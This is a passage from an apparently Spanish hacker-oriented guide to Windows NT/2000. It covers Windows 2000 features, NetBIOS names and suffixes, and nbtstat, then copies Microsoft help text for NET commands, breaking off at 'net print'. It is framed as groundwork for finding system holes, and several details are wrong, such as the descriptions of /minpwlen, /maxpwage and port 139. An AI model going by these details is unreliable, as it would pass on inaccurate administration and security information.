Ya era hora de que implementasen Kerberos, era algo que se pedia desde

hace tiempo, y por fin ya lo tenemos. Los u*x ya gozaban del modulo de

seguridad Kerberos hace tiempo.

En los entornos de red, los programas usan el protocolo NTLM (NT Lan

Manager) para autentificarse, y para proteger sus datos. Ahora esto cambiara

y se usara Kerberos.

El porque de la sustitucion es las mejoras que Kerberos aporta a NTLM,

entre las que se encuentra la autentificacion mutua. Expliquemonos, lo de

mutua viene de que no solo el cliente se tendra que autentificar ante el

servidor sino tambien el servidor ante el cliente. La deshonra para los

servidores, el rebajarse a autentificarse cara un mero cliente ;-).

Quien quiera entender el funcionamiento de Kerberos que consulte el

apendice.

 

 

 

[ 3.4 Mejoras en el NTFS ]

------------------------

 

Pues entre las nuevas mejoras al sistema de archivos nativo de NT nos

encontramos con posibilidades como la de a~adir espacio en una particion

NTFS sin tener que reiniciar la maquina. Tambien ofrece soporte para

encriptar los archivos, poder limitar el espacio de disco, etc.

 

 

 

[ 3.5 Demas mejoras ]

-------------------

 

Aparte de estas mejoras nos encontramos con mas herramientas

administrativas, entre las que destacar el servidor de telnet, de manera que

ya no hay que recurrir a herramientas de terceros para hacer algo tan basico

como administrar el servicio telnet.

Ademas incorpora intellimirror, que es un conjunto de caracteristicas

nativas de W2K para administrar las configuraciones, los cambios de

escritorio, y que nos puede servir incluso para instalar remotamente W2K.

Algo que me ha llamado la atencion es que permite ademas el trabajar con

archivos compartidos, de manera que si te desconectas de una red, al

reconectarte a dicha red no pierdes las preferencias que tenias al estar

conectado.

Tambien soporta las tarjetas inteligentes, tambien llamadas smartcards,

las cuales pueden permitir entre otras cosas realizar el proceso de

autentificacion por otros factores distintos al tipico login/pass, en

principio aportando mas seguridad.

Ademas de esto puedes encontrar que hay mas compatibilidad con los

controladores, con el hardware, se mejora el dfs, etc.

 

 

 

[ 4 - Resumen ]

-------------

 

Aqui se ha visto algo de la arquitectura de NT, los componentes de su

modelo de seguridad, sus novedades, algo de su funcionamiento en red, entre

otras cosas.

Ahora que ya se han asimilado algunos conceptos esenciales, pasemos a ver

como esta el panorama de la inseguridad de NT.

 

-=-

 

 

 

 

Parte II - Agujeros del sistema

===============================

 

Ahora vamos a profundizar en los agujeros de seguridad mas comunes de NT.

Asimismo repasaremos los conceptos que esten relacionados con estos agujeros

con El fin de comprenderlos mejor.

 

 

 

[ 5 - Introduccion a NetBIOS ]

----------------------------

 

NetBIOS es una Interfaz de programacion de aplicaciones (o API) que los

programas en una red local lo pueden utilizar. NetBIOS proporciona a los

programas un conjunto uniforme de comandos para solicitar los servicios de

bajo nivel necesarios para administrar nombres, dirigir sesiones y enviar

datagramas entre los nodos de una red.

Normalmente es usado en redes locales peque~as, de 200 maquinas cliente

para abajo.

Este puede ser usado en casi todos los sistemas operativos de red, y

pudiendo ser transportado sobre bastantes protocolos de red.

 

 

 

[ 5.1 - Historia de NetBIOS ]

---------------------------

 

NetBIOS son las siglas de Network Basic Input/Output System, y se

desarrollo por IBM y Systek, los cuales lo crearon con el fin de poder

subministrar a los programas de una interfaz que pudiera acceder a los

recursos de las redes locales.

En poco tiempo NetBIOS se asento como un estandar para acceder a todo

tipo de redes, gracias entre otras cosas a que era tan solo una interfaz

entre las aplicaciones y la tarjeta ethernet, con lo cual era independiente

dEl hardware que se usara.

Mas tarde salio a la luz Netbeui, un protocolo de red de Microsoft, que

es NetBIOS pero bastante mejorado, a~adiendo una capa de transporte no

estandarizada en NetBIOS.

 

 

[ 5.2 - Conceptos sobre NetBIOS ]

--------------------------------

 

Antes de seguir veremos algo mas sobre NetBIOS que nos ayudara a

entenderlo mas.

Primero veamos los nombres NetBIOS:

 

 

Nombres NetBIOS

---------------

 

Los llamados Nombres NetBIOS se usan para identificar los distintos

recursos en la red. Gracias a estos nombres los equipos pueden comunicarse

utilizando datagramas de NetBIOS y establecer sesiones entre ellos.

Estos nombres deben tener una longitud maxima de 16 caracteres

alfanumericos, cuyo primer caracter no puede ser '*'.

Para que un equipo se quiera registrar en la red, debe mandar un mensaje

broadcast en el que indique su nombre NetBIOS para poder ser identificado

por los otros equipos. Aqui pueden suceder dos cosas, una que el nombre no

este usado, por lo cual el equipo se registraria satisfactoriamente; la otra

que El nombre por el que se identifica ya esta siendo usado, por lo que el

intento de registro termina, teniendo que identificarse el equipo por otro

nombre.

Hay dos tipos de nombres, los nombres unicos (unique) y los de grupos

(group). Los nombres unicos como su nombre indica se llevan individualmente

por un equipo, el cual le representa _solo a el_. Los nombres de grupo

representan a un grupo por lo que se pueden repetir y puede repetirse varias

veces en la red.

Estos nombres pueden tener una longitud de 16 caracteres, sin embargo

son 15 caracteres los que identifican a nuestro equipo, y el caracter numero

16 es usado por los servicios de red de Microsoft como un sufijo para poder

identificar el tipo de servicio que ofrece.

Cada nodo de NetBIOS mantiene una tabla con informacion de todos los

nombres que se estan usando en el nodo.

A continuacion una aproximacion de lo que seria una tabla de NetBIOS, que

muestra los sufijos que se utilizan en NT:

 

 

Nombre Sufijo Tipo Servicio

----------------------------------------------------------------------

 

<nombre_del_ordenador> 00 U Workstation Service

<nombre_del_ordenador> 01 U Messenger Service

<\\_MSBROWSE_> 01 G Master Browser

<nombre_del_ordenador> 03 U Messenger Service

<nombre_del_ordenador> 06 U RAS Server Service

<nombre_del_ordenador> 1F U NetDDE Service

<nombre_del_ordenador> 20 U File Server Service

<nombre_del_ordenador> 21 U RAS Client Service

<nombre_del_ordenador> 22 U Exchange Interchange

<nombre_del_ordenador> 23 U Exchange Store

<nombre_del_ordenador> 24 U Exchange Directory

<nombre_del_ordenador> 30 U Modem Sharing Server Service

<nombre_del_ordenador> 31 U Modem Sharing Client Service

<nombre_del_ordenador> 43 U SMS Client Remote Control

<nombre_del_ordenador> 44 U SMS Admin Remote Control Tool

<nombre_del_ordenador> 45 U SMS Client Remote Chat

<nombre_del_ordenador> 46 U SMS Client Remote Transfer

<nombre_del_ordenador> 4C U DEC Pathworks TCPIP Service

<nombre_del_ordenador> 52 U DEC Pathworks TCPIP Service

<nombre_del_ordenador> 87 U Exchange MTA

<nombre_del_ordenador> 6A U Exchange IMC

<nombre_del_ordenador> BE U Network Monitor Agent

<nombre_del_ordenador> BF U Network Monitor Apps

<nombre_del_usuario> 03 U Messenger Service

<dominio> 00 G Domain Name

<dominio> 1B U Domain Master Browser

<dominio> 1C G Domain Controllers

<dominio> 1D U Master Browser

<dominio> 1E G Browser Service Elections

<INetServicios> 1C G Internet Information Server

<ISnombre_de_ordenador> 00 U Internet Information Server

 

 

He aqui la tipica tabla de nombres NetBIOS, de la cual paso a explicar

cada elemento:

 

El apartado "nombre" supongo que queda claro, el nombre del/los equipo/s

en cuestion, no tiene mas.

El apartado sufijo si necesita mayor explicacion. Estos sufijos

(expresados en hexadecimal) representan diversos servicios, veamos que

representa que:

 

 

---- --- -- - Tipo Unique ---- --- -- -

<00> Nombre del servicio de la estacion de trabajo, es el nombre que se

refiere al nombre NetBIOS.

<03> Nombre del servicio de mensajeria. Se usa cuando enviamos o

recibimos mensajes.

<06> Servicio de servidor RAS.

<1B> Nombre del dominio principal. Este identifica al primer controlador

de dominio.

<1F> Servicio NetDDE.

<20> Cliente RAS.

<BE> Monitor de agente de red.

<BF> Utilidad de monitor de red.

 

 

---- --- -- - Tipo Group ---- --- -- -

 

<1C> Nombre del grupo de dominio. Este contiene la lista de direcciones

de los equipos que estan registrados en el dominio.

<1D> Nombre del Master Browser.

<1E> Nombre de un grupo normal.

<20> Nombre de un grupo de Internet, con fines administrativos. Supongo

que mas de una vez habreis buscado grupos de este tipo :->.

 

Ahora veamos el apartado "tipo", que representa el tipo de grupo. Hay 5

tipos de grupos, veamos cuales:

 

Unique (U): Representa a un equipo, el cual debe tener no mas de una IP

asignada.

Group (G): Representa a un grupo de equipos, por lo tanto debe existir

con mas de una direccion IP.

Multihomed (M): El nombre de equipo es de tipo unico (unique), sin

embargo al tener varias tarjetas ethernet en el mismo

equipo se le permite registrar. Puede tener hasta 25

direcciones IP.

Internet Group (I): Configuracion de un grupo para poder gestionar los

nombres de dominio de winnt.

Domain Name (D): Nombre del dominio. Solo disponible en versiones NT 4 o

superior.

 

Y El apartado "servicio" define el servicio por lo que no requiere mayor

explicacion.

Para ver una tabla como la que hemos visto en la que se vean los nombres

registrados, o informacion sobre un nombre registrado en un grupo o servidor

de red, escribe lo siguiente:

nbtstat -A (direccion IP)

o bien

nbtstat -a (nombre del host)

Mas adelante revisaremos el comando Nbtstat en profundidad.

 

 

 

Funcionamiento de NetBIOS

-------------------------

 

Ahora que ya hemos visto lo mas esencial sobre NetBIOS no esta de mas que

veamos detalladamente su funcionamiento.

Cuando se establece una conexion con un equipo se inicia una sesion, que

permite mandar mensajes largos y corregir los errores (al igual que el

TCP/IP).

NetBIOS permite comunicaciones orientadas a conexion (de tipo TCP) o no

orientadas a conexion y por lo tanto no asegurando que el paquete llegue a

su destino (de tipo UDP).

NetBIOS posee tres tipos de servicio diferente: El de datagramas, el de

nombre y el de sesion.

El servicio de datagramas tiene asignado el puerto 138, mientras que el

servicio de nombres ocupa el 137. El servicio de sesion no ocupa puerto

alguno, mientras que el puerto 139 es usado para la correccion.

 

 

[ 5.3 - Comandos NET ]

--------------------

 

El conocer estos comandos es sumamente importante para movernos con

soltura dentro del sistema y saber como hacer distintas operaciones de red.

La informacion que aqui pongo la he adaptado al edit del dos, y esta

extraida de la ayuda incorporada de Windows 2000.

Seria recomendable que la copiarais y la pusierais en algun lado donde os

fuera facil echarle un vistazo en caso de no acordarse de un comando, etc.

 

 

> Net Accounts:

Actualiza la base de datos de cuentas de usuario y modifica los

requisitos de contrase~a e inicio de sesion para todas las cuentas. El

servicio inicio de sesion de red debe estar en ejecucion en el equipo

para El que desee cambiar los parametros de cuenta.

net accounts [/forcelogoff:{minutos | no}] [/minpwlen:longitud]

[/maxpwage:{dias | unlimited}] [/minpwage:dias]

[/uniquepw:numero] [/domain]

net accounts [/sync] [/domain]

 

 

Parametros

----------

 

ninguno

Escriba net accounts sin parametros para presentar en pantalla las

configuraciones actuales de contrase~a, limitaciones de inicio de

sesion e informacion de dominio.

/forcelogoff:{minutos | no}

Establece el numero de minutos que transcurriran antes de que se de

por finalizada una sesion de usuario en un servidor tras el

vencimiento de la cuenta de usuario o el tiempo valido de inicio de

sesion. Con la opcion no se impide que se produzca un cierre de sesion

forzado. El valor predeterminado es no.

Cuando se especifica la opcion /forcelogoff:minutos, Windows NT envia

una advertencia minutos antes de forzar la salida del usuario de la

red. Si hay algun archivo abierto, Windows NT advierte al usuario. Si

minutos es menor que dos, Windows NT indica al usuario que cierre la

sesion de red inmediatamente.

/minpwlen:longitud

Establece el numero maximo de dias de validez de la contrase~a de una

cuenta de usuario. Los valores validos oscilan entre los 0 y 14

caracteres; el valor predeterminado es de 6 caracteres.

/maxpwage:{dias | unlimited}

Establece el numero maximo de dias de validez de la contrase~a de una

cuenta de usuario. El valor unlimited establece un tiempo ilimitado.

La opcion /maxpwage debe ser menor que /minpwage. Los valores validos

oscilan entre 1 y 49710 dias (unlimited); el valor predeterminado es

de 90 dias.

/minpwage:dias

Establece el numero minimo de dias que han de transcurrir antes de que

un usuario pueda cambiar una contrase~a nueva. Un valor 0 significa

que no hay tiempo minimo. Los valores validos oscilan entre 0 y 49710

dias; el valor predeterminado es de 0 dias.

/uniquepw:numero

Impide que el usuario repita la misma contrase~a durante numero

cambios de contrase~a. Los valores validos oscilan entre 0 y 8 cambios

de contrase~a; el valor predeterminado es de 5 cambios.

/domain

Realiza la operacion sobre el controlador principal del demonio

actual. Si no se especifica este parametro, la operacion se realizara

en El equipo local.

Este parametro se aplica unicamente a equipos con Windows NT

Workstation que son miembros de un dominio de Windows NT Server. De

manera predeterminada, los equipos con Windows NT Server realizan las

operaciones sobre el controlador principal del dominio.

/sync

Cuando se utiliza en el controlador principal de dominio, causa la

sincronizacion de todos los controladores de reserva de dicho dominio.

Cuando se utiliza en un controlador de reserva, causa la

sincronizacion de ese controlador de reserva con el controlador

principal de dominio unicamente. Este comando solo se aplica a los

equipos que son miembros de un dominio de Windows NT Server.

 

 

Ejemplos

--------

 

Para mostrar la configuracion actual para el cierre forzado de sesion,

los requisitos de contrase~a y la funcion de un servidor determinado,

escriba:

net accounts

Para establecer un minimo de siete caracteres para las contrase~as de la

cuenta de usuario, escriba:

net accounts /minpwlen:7

Para especificar que una contrase~a no pueda repetirse hasta pasados

cinco cambios, escriba:

net accounts /uniquepw:5

Para evitar que los usuarios cambien la contrase~a con una frecuencia

mayor que 7 dias, para forzar el cambio de contrase~a cada 30 dias y

para forzar el cierre de sesion tras el vencimiento del tiempo de inicio

de sesion y emitir una advertencia 5 minutos del cierre forzado,

escriba:

net accounts /minpwage:7 /maxpwage:30 /forcelogoff:5

Para realizar la tarea anterior en un equipo con Windows NT Worksation y

asegurarse de que la configuracion es efectiva en el dominio de Windows

NT server en el que el equipo ha iniciado la sesion, escriba:

net accounts /minpwage:7 /maxpwage:30 /domain

Para actualizar la base de datos de cuentas de usuario de todos los

servidores miembros, escriba:

net accounts /sync

 

> Net Computer:

Agrega o elimina equipos de una base de datos de dominios. Este comando

esta disponible solo en los equipos con Windows NT Server.

net computer \\equipo {/add | /del}

 

Parametros

----------

 

\\equipo

Especifica el equipo que se agrega o elimina del dominio.

/add

Agrega el equipo especificado al dominio.

/del

Quita el equipo especificado del dominio.

 

 

Notas

-----

 

Este comando esta disponible solo en los equipos con Windows NT Server.

Todas las adiciones y eliminaciones de equipos se redirigen al

controlador principal de dominio.

 

 

Ejemplo

-------

 

Para agregar el equipo ARCOIRIS al dominio, escriba:

net computer \\arcoiris /add

 

> Net Config:

Muestra los servicios configurables que estan en ejecucion, o muestra y

modifica la configuracion de un servicio.

net config [servicio [opciones]]

 

 

Parametros

----------

 

ninguno

Escriba net config sin parametros para ver una lista de los servicios

configurables.

servicio

Es un servicio (server o workstation) que puede configurarse con el

comando net config.

opciones

Son especificas del servicio. Vea net config server o net config

workstation para obtener la sintaxis completa.

Use El comando net config servicio para cambiar parametros configurables

dEl servicio Servidor o Estacion de trabajo. Los cambios entran en

vigor inmediatamente y son permanentes.

 

> Net Config Server:

Muestra o cambia la configuracion para el servicio Servidor mientras

dicho servicio esta en ejecucion.

net config server [/autodisconnect:tiempo] [/srvcomment:"texto "]

[/hidden:{yes | no}]

 

 

Parametros

----------

 

ninguno

Escriba net config server para ver la configuracion actual del

servicio servidor.

/autodisconnect:tiempo

Establece el numero maximo de minutos que una sesion de usuario puede

permanecer inactiva antes de que se desconecte. Puede especificar -1

para que nunca se produzca dicha desconexion. Los valores validos

oscilan entre -1 y 65545 minutos; el valor predeterminado es 15.

/srvcomment:"texto"

Agrega un comentario para el servidor que se muestra en las pantallas

de Windows NT y con el comando net view. El comentario puede tener un

maximo de 48 caracteres. Escriba el texto entre comillas.

/hidden:{yes | no}

Especifica si el nombre de equipo del servidor debe aparecer al

presentar la lista de servidores. Tenga en cuenta que el hecho de

ocultar un servidor no modifica los permisos definidos en el. El

valor predeterminado es no.

 

 

Ejemplos

--------

 

Para mostrar informacion acerca del servidor local e impedir que la

pantalla se desplace, escriba:

net config server | more

Para ocultar el nombre del equipo del servidor en la lista de

servidores disponibles, escriba:

net config server /hidden:yes

Para desconectar a un usuario despues de 15 minutos de inactividad,

escriba:

net config server /autodisconnect:15

 

 

Notas

-----

 

Utilice el comando net config server para cambiar parametros

configurables del servicio Servidor. Los cambios entran en vigor

inmediatamente y son permanentes.

No todos los parametros del servicio servidor pueden cambiarse

utilizando el comando net config server, pero el comando presenta

informacion adicional. El comando presenta la siguiente informacion

acerca del servidor:

1. El nombre de equipo del servidor, un comentario descriptivo y la

version del software.

2. La descripcion de la red.

3. La configuracion de ocultar el servidor.

4. El numero maximo de usuarios que pueden utilizar los recursos

compartidos del servidor.

5. El numero maximo de archivos del servidor que pueden estar

abiertos.

6. La configuracion del tiempo de inactividad de la sesion.

 

 

> Net Config Server:

Muestra o cambia la configuracion del servicio Estacion de trabajo

mientras esta en ejecucion.

net config workstation [/charcount:bytes] [/chartime:ms] [/charwait:s]

 

 

Parametros

----------

 

ninguno

Escriba net config workstation para mostrar la configuracion actual

dEl equipo local.

/charcount:bytes

Especifica la cantidad de datos que recopila Windows NT antes de

enciarlos a un dispositivo de comunicaciones. Si se establece tambien

/chartime:ms, Windows NT actua segun la condicion que se satisfaga

primero. Los valores validos oscilan entre 0 y 65.535 bytes; el valor

predeterminado es de 16 bytes.

/chartime:ms

Establece el numero de milisegundos durante los cuales Windows NT

recopila datos antes de enviarlos a un dispositivo de comunicaciones.

Si se establece tambien /charcount:bytes, Windows NT actua segun la

condicion que se satisfaga primero. Los valores validos oscilan entre

0 y 65.535. 000 milisegundos; el valor predeterminado es de 250

milisegundos.

/charwait:seg

Establece el numero de segundos que esperara Windows NT a que un

dispositivo de comunicaciones este disponible. Los valores validos

oscilan entre 0 y 65.535 segundos; el valor predeterminado es de 3.600

segundos.

 

 

Ejemplos

--------

 

Para presentar en pantalla la configuracion actual del servicio

Estacion de trabajo, escriba:

net config workstation

Para estableces el numero de milisegundos que Windows NT espera antes

de enviar los datos a un dispositivo de comunicacion a 500

milisegundos, escriba:

net config workstation /chartime:500

 

 

Notas

-----

 

Use El comando net config workstation para cambiar parametros

configurables del servicio Estacion de trabajo. Los cambios entran en

vigor inmediatamente y son permanentes.

No todos los parametros del servicio Estacion de trabajo pueden

cambiarse con el comando net config workstation. Otros parametros

pueden cambiarse en el registro de configuracion.

 

> Net Continue:

Vuelve a activar un servicio interrumpido.

net continue servicio

 

 

Parametros

----------

 

servicio

Los servicios que pueden reanudarse son los siguientes: servidor de

archivos para macintosh (solo para Windows NT Server), servicio de

publicacion de FTP, lpdsvc, inicio de sesion de red, dde de red, dsdm

dde de red, proveedor de seguridad nt lm, inicio remoto (solo para

Windows NT Server), servidor de acceso remoto, shedule, servidor,

servicios simples de tcp/ip y estacion de trabajo.

 

 

Notas

-----

 

Es un servidor y en un cliente:

Use El comando net continue para volver a activar un servicio

interrumpido. Interrumpa el servicio antes de detenerlo para permitir

que los usuarios finalicen sus trabajos o se desconecten de los

recursos. Para efectuar una correccion poco importante en un recurso,

quiza sea suficiente con efectuar una pausa en el servicio o la

impresora. Use despues el comando net continue para activar de nuevo

dicho servicio o impresora, sin necesidad de cancelar las conexiones

de los usuarios.

En un cliente:

Use los comandos net pause y net continue para pasar de las impresoras

de la red a impresora conectada a su equipo.

 

> Net File:

Muestra los nombres de todos los archivos compartidos abiertos en un

servidor y el numero de bloqueos de archivo (si existe alguno) en cada

uno de ellos. Este comando tambien cierra archivos compartidos

individuales y quita bloqueos de archivo.

net file [id [/close]]

 

 

Parametros

----------

 

ninguno

Escriba net file sin parametros para obtener una lista de los

archivos abiertos en un servidor.

id

Es El numero de identificacion del archivo.

/close

Cierra un archivo abierto y libera los registros bloqueados. Escriba

este comando desde el servidor en el que se comparte el archivo.

 

 

Ejemplos

--------

 

Para ver una pantalla de informacion acerca de los archivos

compartidos, escriba:

net file

Para cerrar un archivo con el numero de identificacion 1, escriba:

net file 1 /close

 

 

Notas

-----

 

Este comando tambien puede escribirse como net files.

Use El comando net file para ver y controlar archivos compartidos en la

red que, en ocasiones, se dejan abiertos y bloqueados por error. Cuando

esto sucede, es imposible tener acceso a las partes bloqueadas de un

archivo desde otros equipos de la red. Use la opcion /close del comando

net file para quitar el bloqueo y cerrar el archivo.

La pantalla que muestra el comando net file es similar a la siguiente:

Archivo Ruta de acceso Nombre de usuario Bloqueos

------------------------------------------------------------------

0 C:\ARCH_A.TXT MARISAF 0

1 C:\BASEDATOS DAVIDSA 2

 

 

> Net Group:

Agrega, muestra o modifica grupos globales en dominios de Windows NT

Server. Este comando solo esta disponible en los dominios de Windows NT

Server.

net group [nombre_grupo [/comment:"texto"]] [/domain]

net group nombre_grupo {/add [/comment:"texto"] | /delete} [/domain]

net group nombre_grupo nombre_usuario[...] {/add | /delete} [/domain]

 

 

Parametros

----------

 

ninguno

Escriba net group sin parametros para mostrar el nombre de un

servidor y los nombres de los grupos de dicho servidor.

nombre_grupo

Es El nombre del grupo que va a agregarse, expandirse o eliminarse.

Especifique un nombre de grupo para ver la lista de los usuarios

correspondientes.

/comment:"texto"

Agrega un comentario para un grupo nuevo o existente. Dicho

comentario puede tener hasta 48 caracteres. Escriba el texto entre

comillas.

/domain

Realiza la operacion sobre el controlador principal del dominio

actual. Si no se especifica este parametro, la operacion se realizara

en El equipo local.

Este parametro se aplica unicamente a equipos con Windows NT

Workstation que son miembros de un dominio de Windows NT Server. De

manera predeterminada, los equipos con Windows NT Server realizan las

operaciones en el controlador principal del dominio.

nombre_usuario[...]

Muestra la lista de uno o mas usuarios que se agregaran o quitaran

de un grupo. Separe los nombres de usuario con un espacio en blanco.

/add

Agrega un grupo o un nombre de usuario a un grupo. Debe establecerse

una cuenta para los usuarios agregados a un grupo con este comando.

/delete

Quita un grupo o un nombre de usuario de un grupo.

 

 

Ejemplos

--------

 

Para ver una lista de todos los grupos en el servidor local, escriba:

net group

Para agregar un grupo llamado ejec a la base de datos local de cuentas

de usuario, escriba:

net group ejec /add

Para agregar un grupo llamado ejec a la base de datos de cuentas de

usuario de un dominio de Windows NT Server desde un equipo con el

software Windows NT Workstation instalado, escriba:

net group ejec /add /domain

Para agregar las cuentas de usuario ya existentes esterv, rafar y

jesust al grupo ejec en el equipo local, escriba:

net group ejec esterv rafar jesust /add

Para agregar las cuentas de usuario ya existentes esterv, rafar y

jesust al grupo ejec de un dominio de Windows NT Server desde un

equipo con el software Windows NT Workstation instalado, escriba:

net group ejec esterv rafar jesust /add /domain

Para mostrar los usuarios del grupo ejec, escriba:

net group ejec

Para agregar un comentario al registro del grupo ejec, escriba:

net group ejec /comment:"Plantilla de ejecutivos."

Este comando puede escribirse tambien como net groups.

Use El comando net group para agrupar usuarios que trabajan de un modo

igual o similar en la red. Cuando se asignen derechos a un grupo, cada

miembro recibira automaticamente estos derechos.

La pantalla que muestra los grupos del servidor es similar a la

siguiente:

Cuentas del grupo de \\PRODUCCION

-------------------------------------------------------

*Admins. del dominio *Usuarios del dominio

Observe que los nombres de grupos van precedidos por un asterisco (*),

que sirve para identificar los grupos que incluyen usuarios y grupos.

 

 

> Net Help:

Proporciona una lista de comandos de red y temas sobre los que puede

obtener ayuda, o proporcionar ayuda acerca de un comando o tema

especifico. Los comandos de red disponibles tambien se muestran en la

ventana Comandos de esta referencia de comandos, bajo la letra N.

net help [comando]

net comando {/help | /?}

 

 

Parametros

----------

 

ninguno

Escriba net help sin parametros para mostrar una lista de comandos y

temas acerca de los cuales puede obtenerse ayuda.

comando

Es El comando acerca del cual desea obtenerse ayuda. No escriba net

como parte del comando.

/help

Proporciona una forma alternativa de mostrar en pantalla el texto de

ayuda.

/?

Muestra la sintaxis correcta del comando.

 

 

Ejemplos

--------

 

Para obtener la misma informacion acerca del comando net use,

utilizando dos formas del comando net help, escriba:

net help use

o bien

net use /help

Para ver la sintaxis del comando net use, escriba:

net use /?

 

 

> Net Helpmsg:

Proporciona ayuda referente a un mensaje de error de Windows NT.

net helpmsg mensaje_n§

 

 

Parametros

----------

 

mensaje_n§

Es El numero de cuatro digitos del mensaje de Windows NT acerca del

cual necesita ayuda.

 

 

Notas

-----

 

Cuando falla una operacion de red, se muestra un mensaje similar al

siguiente:

NET 21282: El servicio solicitado ya ha sido iniciado.

El comando net helpmsg explica la causa de un error e indica como

resolver el problema.

 

 

> Net Localgroup:

Agrega, muestra o modifica grupos locales.

net localgroup [nombre_grupo [/comment:"texto"]] [/domain]

net localgroup nombre_grupo {/add [/comment:"texto"] | /delete}

[/domain]

net localgroup nombre_grupo nombre [...] {/add | /delete} [/domain]

 

 

Parametros

----------

 

niguno

Escriba net localgroup sin parametros para mostrar el nombre del

servidor y los nombres de los grupos locales de dicho equipo.

nombre_grupo

Es El nombre del grupo que va a agregarse, expandirse o eliminarse.

Proporcione solo un nombre_grupo para ver una lista de los usuarios o

grupos globales de un grupo local.

/comment:"texto"

Agrega un comentario para un grupo nuevo existente. El comentario

puede tener hasta 48 caracteres de longitud. Escriba el texto deseado

entre comillas.

/domain

Realiza la operacion en el controlador principal del dominio actual.

Si no se especifica este parametro, la operacion se realizara en el

equipo local.

Este parametro se aplica unicamente a equipos con Windows NT

Workstation que son miembros de un dominio de Windows NT Server. Si

no se indica lo contrario, los equipos con Windows NT Server

realizaran las operaciones en el controlador principal del dominio.

nombre [...]

Muestra la lista de uno o mas nombres de usuario o de grupo que se

agregaran a un grupo local o se quitaran de el. Separe cada nombre

con un espacio en blanco. Los nombres pueden ser usuarios locales,

usuarios de otros dominios o grupos globales, pero no otros grupos

locales. Si un usuario es de otro dominio, escriba el nombre de

usuario despues del nombre de dominio (por ejemplo, VENTAS\SAMUEL).

/add

Agrega un nombre de grupo o de usuario a un grupo local. Debe

establecerse una cuenta para los usuarios o grupos globales que se

agreguen a un grupo local con este comando.

/delete

Quita un nombre de grupo o de usuario de un grupo local.

 

Use El comando net localgroup para agrupar usuarios que utilizan de un

modo igual o similar el equipo o la red. Cuando se asignen derechos a

un grupo local, cada miembro de dicho grupo recibira automaticamente

estos derechos.

 

 

Ejemplos

--------

 

Para mostrar una lista de todos los grupos locales del servidor local,

escriba:

net localgroup

Para agregar un grupo local llamado ejec a la base de datos local de

cuentas de usuario, escriba:

net localgroup ejec/add

Para agregar un grupo local llamado ejec a la base de datos de cuentas

de usuario de un dominio de Windows NT Server, escriba:

net localgroup ejec /add /domain

Para agregar las cuentas de usuario ya existentes esterv, rafar (del

dominio VENTAS) y jesust al grupo local ejec en el equipo local,

escriba:

net localgroup ejec esterv ventas\rafar jesust /add

Para agregar las cuentas de usuario ya existentes esterv, rafar y

jesust al grupo ejec de un dominio de Windows NT Server, escriba:

net localgroup ejec esterv rafar jesust /add /domain

Para mostrar los usuarios del grupo local ejec, escriba:

net localgroup ejec

Para agregar un comentario al registro del grupo local ejec, escriba:

net localgroup ejec /comment:"Plantilla de ejecutivos."

 

 

> Net Name:

Agrega o elimina un nombre para mensajes (a veces llamado alias), o

muestra la lista de nombres para los que el equipo aceptara mensajes.

Para poder usar net name, el servicio de Mensajeria debe estar en

ejecucion.

net name [nombre [/add | /delete]]

 

 

Parametros

----------

 

ninguno

Escriba net name sin parametros para mostrar una lista de los nombres

actualmente en uso.

nombre

Especifica el nombre que recibe mensajes. Dicho nombre puede tener un

maximo de 15 caracteres.

/add

Agrega un nombre a un equipo. Escribir /dd es opcional puesto que el

resultado de escribir net name nombre es el mismo que el de escribir

net name nombre /add.

/delete

Quita un nombre de un equipo.

 

 

Ejemplos

--------

 

Para ver la lista de nombres en su equipo, escriba:

net name

Para agregar el nombre rsvp a su equipo, escriba:

net name rsvp

Para quitar el nombre rvsp de su equipo, escriba:

net name rsvp /delete

 

 

Notas

-----

 

Use El comando net name para especificar un nombre para la recepcion de

mensajes. Para poder usar este comando, debe haberse iniciado el

servicio Mensajeria. Cada nombre de mensajeria debe ser unico en la

red. Los nombres creados con net name se destinan estrictamente a

mensajes; estos nombres no son grupos.

Windows NT usa tres tipos de nombres:

1. Cualquier nombre para mensajeria, que se agrega con net name.

2. El nombre de equipo del equipo, que se agrega al iniciar el

servicio Estacion de trabajo.

3. Su nombre de usuario, que se agrega cuando inicia la sesion,

suponiendo que su nombre no se este usando como nombre de

mensajeria en otra parte de la red.

 

 

> Net Pause:

Interrumpe los servicios en ejecucion.

net pause servicio

 

 

Parametros

----------

 

servicio

Puede ser:

1. Servidor de archivos para Macintosh (solo en Windows NT Server)

2. Servicio de publicacion de FTP

3. LPDSVC

4. Inicio de sesion de red

5. DDE de red

6. DSDM DDE de red

7. Proveedor de seguridad Lan Manager de NT

8. Inicio remoto (solo en Windows NT Server)

9. Servidor de acceso remoto

10. Shedule

11. Servidor

12. Servicios simples de tcp/ip

13. Estacion de trabajo.

 

 

Ejemplos

--------

 

Para interrumpir el servicio Servidor, escriba:

net pause server

Para interrumpir el servicio Inicio de sesion de red, escriba:

net pause "net logon"

 

 

Notas

-----

 

En un servidor:

Use El comando net pause antes de detener un servicio para permitir

que los usuarios finalicen su trabajo o se desconecten de los

recursos. Hacer una pausa en un servicio lo interrumpe

momentaneamente, pero no elimina el software de la memoria. Los

usuarios que estan conectados a un recurso pueden finalizar sus

tareas, pero no podran efectuar nuevas conexiones a dicho recurso.

Si piensa detener un servicio que afecta a recursos compartidos,

primero interrumpalo, luego envie un mensaje con el comando net send

para avisar de dicha detencion; despues de un lapso suficiente para

que los usuarios terminen de usar el servicio, detengalo usando el

comando net stop.

Para volver a activar un servicio interrumpido, use el comando net

continue.

 

En un cliente:

Use los comandos net pause y net continue para pasar de las

impresoras de red a las impresoras conectadas a su estacion de

trabajo.

 

Tanto en un servidor como en un cliente:

No se pueden interrumpir todos los servicios.

 

La pausa afecta a los servicios de Windows NT de las siguientes formas:

1. La pausa del servicio inicio de sesion de red impide que el equipo

procese las peticiones de inicio de sesion. Si el dominio tiene

otros servidores de inicio de sesion, los usuarios podran iniciar

su sesion en la red.

2. La pausa del servicio Servidor impide que los usuarios establezcan

nuevas conexiones con los recursos compartidos de este y, si no hay

otros servidores de inicio de sesion en la red, impide que los

usuarios inicien su sesion en la red. Esto no afecta a una conexion

existente. Los administradores pueden establecer conexiones con el

servidor aunuqe el servicio este interrumpido.

3. La pausa del ejercicio Estacion de trabajo mantiene el nombre de

usuario, la contrase~a y las conexiones definidas, pero dirige las

peticiones de impresion a las impresoras conectadas al equipo, en

lugar de hacerloa a las impresoras conectadas a la red.

 

 

> Net Print:

Muestra o controla los trabajos y las colas de impresion.

net print \\nombre_equipo\recurso_compartido

net print [\\nombre_equipo] trabajo_n§ [/hold | /release | /delete]

 

 

Parametros

----------

 

